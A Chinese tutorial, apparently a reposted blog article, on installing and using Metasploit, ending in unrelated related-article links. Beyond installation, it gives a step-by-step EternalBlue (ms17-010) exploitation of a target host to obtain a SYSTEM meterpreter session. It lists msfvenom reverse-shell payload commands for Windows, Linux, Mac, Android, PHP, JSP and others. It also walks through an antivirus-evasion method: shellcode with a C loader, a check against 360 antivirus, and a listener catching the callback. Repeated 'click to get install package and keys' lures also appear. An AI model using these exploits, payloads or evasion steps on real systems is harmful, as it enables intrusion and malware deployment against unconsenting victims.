MSF的安装与使用教程,超详细,附安装包和密钥

MSF简介

Metasploit(MSF)是一个免费的、可下载的框架

它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。

当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了,仿佛一夜之间,任何人都可以成为黑客。
【点击此处,可领取MSF安装包和密钥以及视频教程】

因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。
也因此软件厂商再也不能推迟发布针对已公布漏洞的补丁了,因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

MSF安装介绍

MSF官网:https://www.metasploit.com/

MSF有两个版本,Metaploit是开源免费的,Metaploit pro的商业收费的,这里我们用免费的社区版就可以了

MSF下载地址:https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

MSF安装

【点击此处,领取完整资料,先领取资料再阅读】
(1)一键式安装
在Linux / macOS上安装Metasploit,这里有官方提供的脚本,可以一键式安装

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

(2)手动安装
注意:如果上面方法不可行,也可以进行手动安装

Debian / Ubuntu软件包位于https://apt.metasploit.com,而CentOS / Redhat / Fedora软件包位于https://rpm.metasploit.com

ubuntu安装
从https://apt.metasploit.com/下载MSF 的deb安装包。
在终端运行:dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
就已经安装好了,数据库的安装看上面的步骤

Centos安装
从https://rpm.metasploit.com下载 rpm安装包
在终端运行:rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm

安装完成

安装postgresql数据库

msf使用的是postgresql数据库,如果没有的话需要先安装

安装数据库的时候会自动创建系统用户postgres,数据库用户postgres,数据库postgres

1、apt-get install postgresql //安装postgresql数据库
2、su - postgres //切换到postgres用户
3、psql //登陆postgresql数据库,首次登陆没有密码
4、\password postgres //修改数据库用户postgres的密码
msf更新命令:

sudo msfupdate

msf使用数据库

1、msfconsole //启动msf
2、db_connect postgres:hehehe@127.0.0.1/test //用户名,密码,地址,自己随意编造的名字。
3、db_status //查看数据库连接状态
MSF的功能模块介绍
MSF所用功能主要可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程

1、Auxiliary(辅助模块)
为渗透测试信息搜集提供了大量的辅助模块支持
2、Exploits(攻击模块)
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
3、Payload(攻击载荷模块)
攻击成功后促使靶机运行的一段植入代码
4、Post (后渗透攻击模块)
收集更多信息或进一步访问被利用的目标系统
5、Encoders(编码模块)
将攻击载荷进行编码,来绕过防护软件拦截

MSF的基本使用方法

例如攻击永恒之蓝:

开启数据库:service postgresql start

初始化msf数据库:msfdb init
在这里插入图片描述
开启MSF:msfconsole
在这里插入图片描述
这里我们拿永恒之蓝这个漏洞进行简单的使用

首先要保证是能够访问到目标机器的,那么我们先ping一下目标机器,看网络是否连通
在这里插入图片描述
此时是连通的状态

永恒之蓝的漏洞编号:ms17-010

根据漏洞名称搜索 : search ms17_010
在这里插入图片描述

1、运用辅助模块扫描目标

设置模块:use auxiliary/scanner/smb/smb_ms17_010

查看设置:options
在这里插入图片描述
设置目标地址:set rhosts 192.168.174.129

目标端口默认是445,
如果用nmap端口扫描windows文件共享服务不是开放在445端口上面,那这里需要进行修改,set rport 目标端口

设置好了之后,run或者exploit 进行攻击
在这里插入图片描述
绿色的加号为可攻击

2、设置攻击模块对目标进行攻击

使用攻击模块:use exploit/windows/smb/ms17_010_eternalblue

查看所需设置:options
在这里插入图片描述
设置目标地址:set RHOSTS 192.168.174.129

设置目标端口:set RPORT 445

设置payload:set payload windows/x64/meterpreter/reverse_tcp

设置本地地址:set LHOST 192.168.174.192

攻击:run或者exploit
在这里插入图片描述
攻击成功,成功拿到会话

注意:存在一定机率将目标机器打成蓝屏或者重启

查看目前权限
在这里插入图片描述
系统权限,想干什么都可以了~
MSF后门生成模块
Msfvenom常用命令参数

 -l, --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等-p, --payload <payload> # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取--list-options # 列出--payload <value> 的标准,高级和规避选项-f, --format <format> # 指定 Payload 的输出格式(使用 --list formats 列出)-e, --encoder <encoder> # 指定使用的 Encoder (使用 --list encoders 列出)--sec-name <value> # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串--smallest # 使用所有可用的编码器生成最小的payload--encrypt <value> # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)--encrypt-key <value> # 用于加密的密钥--encrypt-iv <value> # 加密的初始化向量-a, --arch <arch> # 指定目标系统架构(使用 --list archs 列出)--platform <platform> # 指定目标系统平台 (使用 --list platforms 列出)-o, --out <path> # 保存payload文件-b, --bad-chars <list> # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'-n, --nopsled <length> # 指定 nop 在 payload 中的数量-s, --space <length> # 设置未经编码的 Payload 的最大长度--encoder-space <length> # 编码后的 Payload 的最大长度-i, --iterations <count> # 设置 Payload 的编码次数-c, --add-code <path> # 指定包含一个额外的win32 shellcode文件-x, --template <path> # 指定一个特定的可执行文件作为模板-k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行-v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)-t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)-h, --help # 帮助

msfvenom生成shellcode
普通生成

msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

编码生成

msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

msfvenom —list archs #查看支持的系统架构

aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms #查看支持系统平台

aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows

msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的输出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的编码器

常见生成格式

1、 Windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

2、Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf

3、Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py

木马如何免杀
木马绕过免杀本质上还是更改他的特征码,那么总结一下可以有

编码
加壳免杀
二次编译
分离免杀:即将ShellCode和加载器分离

目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

第一步:安装编译软件VC++6.0
在这里插入图片描述
第二步:生成一个常见的木马

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.174.196 lport=1250 -f c

在这里插入图片描述
第三步、编译c语言为exe文件

#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}

打开vc6.0,新建一个程序
在这里插入图片描述

选择一个简单的win32程序
在这里插入图片描述
打开a.app
在这里插入图片描述
将我们的代码复制进去
在这里插入图片描述
在这里插入图片描述

编译一下,看是否有问题
在这里插入图片描述
再编译一下a.cpp
在这里插入图片描述
没有问题的话,就可以组建a.exe了,这个文件就是我们要的木马文件
在这里插入图片描述
第四步、测试是否成功

把得到的a.exe 复制到桌面,右键用360的木马云查杀功能试一下

在这里插入图片描述
在这里插入图片描述

再测试一下我们的木马是否有用,打开MSF开启监听
开启监听:msf5 > use exploit/multi/handler
设置payload,和生成的木马保持一致:set payload windows/meterpreter/reverse_tcp
设置本地地址,和木马一致:set lhost192.168.174.196
设置本地端口,和木马一致:set lport 1250

在这里插入图片描述

msf5 exploit(multi/handler) > run

在这里插入图片描述
成功拿到会话了, 证明我们的木马没啥问题~
点击此处,可领取MSF安装包以及密钥,以及更多相关问题的咨询

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/142283.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【CentOS7】安装docker

【CentOS7】安装docker 1.Docker 要求 CentOS 系统的内核版本高于 3.10 &#xff0c;通过命令查看你当前的内核版本 。2.使用 root 权限登录 Centos&#xff0c;将 yum 包更新到最新。&#xff08;确保联网&#xff09;3. 如果安装过旧版本的话&#xff0c;卸载旧版本4. 设置yu…

springboot实战(八)之整合redis

目录 序言&#xff1a; 环境&#xff1a; 依赖&#xff1a; 配置&#xff1a; 测试&#xff1a; redis序列化配置&#xff1a; 连接池&#xff1a; 序言&#xff1a; Redis是我们Java开发中&#xff0c;使用频次非常高的一个nosql数据库&#xff0c;数据以key-value键…

云原生之使用Docker部署RSS阅读器Huntly

云原生之使用Docker部署RSS阅读器Huntly 一、Huntly介绍1.1 Huntly简介1.2 Huntly功能2.1 本地环境规划2.2 本次实践介绍 三、本地环境检查3.1 检查Docker服务状态3.2 检查Docker版本3.3 检查docker compose 版本 四、下载Huntly镜像五、部署Huntly5.1 创建挂载目录5.2 创建Hun…

鸿鹄工程项目管理系统 Spring Cloud+Spring Boot+Mybatis+Vue+ElementUI+前后端分离构建工程项目管理系统

. 项目背景 一、随着公司的快速发展&#xff0c;企业人员和经营规模不断壮大。为了提高工程管理效率、减轻劳动强度、提高信息处理速度和准确性&#xff0c;公司对内部工程管理的提升提出了更高的要求。 二、企业通过数字化转型&#xff0c;不仅有利于优化业务流程、提升经营管…

vue2.x 迭代更新项目去掉缓存处理

找到build文件下的webpack.prod.conf.js文件 定义一个常量version const Version new Date().getTime(); 然后在.js和.css前面加上.${Version}就可以了&#xff08;注意得把原本的换成&#xff09;

javaee之黑马乐优商城6

商品品牌的查询 上面就是我们需要根据分类id去找品牌 假设我们现在拿到的是 商品的分类id&#xff0c;我们需要根据分类id查询出对应的品牌即可 下面我们拿到上面的接口&#xff0c;直接撸代码 这个是和品牌相关联的操作&#xff0c;因为先去看一下BrandMapper,这个mapper是…

设计模式篇---桥接模式

文章目录 概念结构实例总结 概念 桥接模式&#xff1a;将抽象部分与它的实现部分解耦&#xff0c;使得两者都能够独立变化。 毛笔和蜡笔都属于画笔&#xff0c;假设需要有大、中、小三种型号的画笔&#xff0c;绘画出12种颜色&#xff0c;蜡笔需要3*1236支&#xff0c;毛笔需要…

电缆隧道在线监测系统:提升电力设施安全与效率的关键

随着城市化进程的加快&#xff0c;电力电缆隧道在保障城市电力供应方面的地位日益重要。然而&#xff0c;电缆隧道环境复杂&#xff0c;容易受到多种因素影响&#xff0c;如温度、湿度、烟雾、水位等&#xff0c;严重威胁电力设施的安全与稳定运行。在此背景下&#xff0c;电缆…

MySQL的时间差函数、日期转换计算函数

MySQL的时间差函数(TIMESTAMPDIFF、DATEDIFF)、日期转换计算函数(date_add、day、date_format、str_to_date) 时间差函数&#xff08;TIMESTAMPDIFF、DATEDIFF&#xff09; 需要用MySQL计算时间差&#xff0c;使用TIMESTAMPDIFF、DATEDIFF&#xff0c;记录一下实验结果 --0 …

基于微信小程序的电影院订票系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言运行环境说明用户微信小程序端的主要功能有&#xff1a;管理员的主要功能有&#xff1a;具体实现截图详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09;有保障的售后福利 代码参考论文参考源码获取 前言 &#x1f497;博主介绍&…

openMVS编译

参考官方文档&#xff1a;https://github.com/cdcseacave/openMVS/wiki/Building vcglib的安装 cd /home/juling/lib git clone -b v1.0.1 https://github.com/cdcseacave/VCG.git vcglibgit clone --recurse-submodules https://github.com/cdcseacave/openMVS.git cd openMV…

外汇天眼:多平台涉嫌欺诈,各监管机构出手打击!

在当今快速发展的金融领域&#xff0c;随着外汇和加密货币市场的崛起&#xff0c;投资者们享受到了前所未有的多元化投资机会。然而&#xff0c;这个多元化的市场也引来了一些不法分子&#xff0c;威胁着投资者的资金和信任。就在上周&#xff0c;多个平台涉嫌欺诈&#xff0c;…

SQLAlchemy关联表删除策略设置

目录 SQLAlchemy关联表 常用的级联选项 外键 SQLAlchemy关联表 SQLAlchemy 是一个 Python 的 ORM&#xff08;对象关系映射&#xff09;库&#xff0c;它允许你在 Python 中使用类来表示数据库中的表&#xff0c;从而更方便地进行数据库操作。在 SQLAlchemy 中&#xff0c;可…

肖sir__mysql之综合题练习__013

数据库题&#xff08;10*5&#xff09; 下面是一个学生与课程的数据库&#xff0c;三个关系表为&#xff1a; 学生表S&#xff08;Sid&#xff0c;SNAME,AGE,SEX&#xff09; 成绩表SC&#xff08;Sid&#xff0c;Cid&#xff0c;GRADE&#xff09; 课程表C&#xff08;Cid&…

vue项目 H5 动态设置浏览器标题

1&#xff0c;先将要展示的标题存本地 if (that.PromotionInfo.Title) {localStorage.setItem("AcTitle", that.PromotionInfo.Title)} 2,现在路由meta中设置标题&#xff0c;再在路由守卫中设置 import Vue from vue import Router from vue-router import prom…

Sui资助申请指南,310万美元资助金已成功申领

Sui基金会致力于资助开发者、构建者、教育工作者、研究人员以及其他推动和推广Sui生态发展的社区成员。立即申请&#xff1a;https://airtable.com/shrkLWBRNPL89f0SX 资助计划类型 构建者资助计划 通过推动Sui的全球采用&#xff0c;帮助引导下一个十亿用户进入Web3的项目。…

vue实现移动端悬浮可拖拽按钮

需求&#xff1a; 按钮在页面侧边悬浮显示&#xff1b;点击按钮可展开多个快捷方式按钮&#xff0c;从下向上展开。长按按钮&#xff0c;则允许拖拽来改变按钮位置&#xff0c;按钮为非展开状态&#xff1b;按钮移动结束&#xff0c;手指松开&#xff0c;计算距离左右两侧距离…

DKD蒸馏复现

知识蒸馏主要分两类&#xff1a; 1&#xff1a;基于logits 2&#xff1a;基于feature logits蒸馏主要是在早期&#xff0c;后期效果逐步被基于feature蒸馏超越。 cvpr2022的DKD基于传统的KD进行改进&#xff0c;重铸logits蒸馏的荣光。目前很多蒸馏都采用DKD方案&#xff0…

云原生Kubernetes:K8S安全机制

目录 一、理论 1.K8S安全机制 2.Authentication认证 3.Authorization授权 4.Admission Control准入控制 5.User访问案例 6.ServiceAccount访问案例 二、实验 1.Admission Control准入控制 2.User访问案例 3.ServiceAccount访问案例 三、问题 1.生成资源报错 2.镜…

CSS之伪类和伪元素 | :before和::before

例子&#xff1a; & 表示嵌套的上一级。如 &:hover 相当于 上一级元素:hover :hover 伪类 :before 伪元素&#xff0c;在元素之前加入某内容&#xff08;一定要写 content &#xff09; display:none&#xff1b; 隐藏对象。display隐藏元素后&#xff0c;不占原先位置…